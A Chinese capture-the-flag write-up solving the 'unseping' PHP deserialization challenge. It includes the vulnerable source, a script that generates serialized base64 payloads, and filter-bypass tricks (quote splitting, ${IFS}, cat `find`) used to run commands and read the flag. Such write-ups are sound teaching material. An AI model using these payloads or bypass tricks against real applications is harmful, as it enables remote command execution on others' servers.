当前位置: 首页 > news >正文

攻防世界WEB(新手模式)20-unseping

好了咯,定睛一看php反序列化的题。那首先第一步我们肯定是审一下代码

<?php
highlight_file(__FILE__);  // 显示当前文件的源代码class ease{private $method;  // 存储要调用的方法名private $args;    // 存储方法调用的参数数组function __construct($method, $args) {$this->method = $method;$this->args = $args;}// 析构函数 - 对象销毁时自动调用function __destruct(){if (in_array($this->method, array("ping"))) {  // 检查method是否在允许列表中(目前只有"ping")call_user_func_array(array($this, $this->method), $this->args);  // 调用指定方法}} // ping方法 - 执行系统命令function ping($ip){exec($ip, $result);  // 执行系统命令,存在命令注入风险var_dump($result);   // 输出命令执行结果}// WAF(Web应用防火墙)方法 - 过滤危险字符function waf($str){// 使用正则过滤危险字符和命令if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;  // 如果没有匹配到危险字符,返回原字符串} else {echo "don't hack";  // 否则输出警告}}// __wakeup魔术方法 - 反序列化时自动调用function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);  // 对每个参数进行WAF过滤}}   
}// 从POST请求获取ctf参数
$ctf=@$_POST['ctf'];
// 对ctf参数进行base64解码后反序列化
@unserialize(base64_decode($ctf));
?>

那么其实代码的含义是只能调用ping方法,对于其他的一些命令会被过滤掉。

$ctf = @$_POST['ctf'];
@unserialize(base64_decode($ctf));

这两句的处理流程:

  1. base64_decode($ctf):将 base64 编码的字符串解码为原始数据。

  2. unserialize():将解码后的数据反序列化为 PHP 对象。

那么我们在写脚本的时候就需要先对命令转化成序列化格式,然后再进行base64加密。

脚本如下,ls命令需要绕过

<?php
class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
$c = base64_encode($b);
echo "\n";
echo $c;
?>
O:4:"ease":2:{s:12:" ease method";s:4:"ping";s:10:" ease args";a:1:{i:0;s:4:"l""s";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

ok当然你也可以选择不输出反序列化内容。

接下来我用的是bp,需要更改三个地方。

1、修改post请求,原先是get

2、添加头部,一遍服务器可以解析post数据

Content-Type: application/x-www-form-urlencoded

3、添加payload,记得加ctf=

那么现在,我们去查看flag_1s_here文件,只需要修改脚本中的命令就可以了。(把箭头删掉,替换成框框里面的)

$a=new ease("ping",array('l""s${IFS}f""lag_1s_here'));

同理得到,反序列化数据和base64编码后结果。

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

修改bp请求包

ok接着查看这个php文件就可以了,弹药想想则呢么绕过,因为上面代码中把我们的cat、tac命令都给过滤了。这里看了视频受到启发,不用拘泥于一定要cat某个文件,直接cat `find`读取所有文件。

【攻防世界】1061-unseping_哔哩哔哩_bilibili

生成对应paylaod

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNzoiY2EkQHQke0lGU31gZmluZGAiO319

就可以成功读取到flag

cyberpeace{483b2ff67ffb8137bc95b6d8f0a560a0}

OWASP就比较方便使用了~

http://www.xdnf.cn/news/1250893.html

相关文章:

  • Android14的QS面板的加载解析
  • Tesseract + Poppler 实现图片型 PDF 转文字
  • jmm 指令重排 缓存可见性 Volatile 内存屏障
  • Perforce P4 Plan - DevOps实时规划工具
  • Python day36
  • 基于单片机智能浇花/智能灌溉/智慧农业/智能大棚
  • 双馈和永磁风机构网型跟网型联合一次调频并入同步机电网,参与系统一次调频,虚拟惯量下垂,虚拟同步机VSG控制matlab/simulink
  • 【软考系统架构设计师备考笔记5】 - 专业英语
  • 【关于Java的泛型(基础)】
  • 《动手学深度学习》读书笔记—9.3深度循环神经网络
  • 阿里云 Flink
  • 第七章课后综合练习
  • SpringBoot 3.x整合Elasticsearch:从零搭建高性能搜索服务
  • 【网络基础】计算机网络发展背景及传输数据过程介绍
  • vue3 vite 使用vitest 单元测试 组件测试
  • Lesson 31 Success story
  • 【C++详解】STL-set和map的介绍和使用样例、pair类型介绍、序列式容器和关联式容器
  • 蓝桥杯----锁存器、LED、蜂鸣器、继电器、Motor
  • RN项目环境搭建和使用-Mac版本(模拟器启动不起来的排查)
  • 软件定义汽车 --- 电子电气架构的驱动
  • 【pytorch(02)】Tensor(张量)概述、如何创建、常见属性,切换设备
  • AI学习之大话transformer架构
  • 2025年08月 GitHub 热门项目推荐
  • Spring选择哪种方式代理?
  • 电子电气架构 ---如何焕新升级为 48V 电气架构
  • 无人机航拍数据集|第4期 无人机太阳光伏板红外目标检测YOLO数据集10945张yolov11/yolov8/yolov5可训练
  • OpenHarmony源码解析之init进程
  • Android Activity webView页面视频悬浮小窗播放效果及技术难点
  • apache-tomcat-11.0.9安装及环境变量配置
  • 聊一聊RPC接口测试工具及方法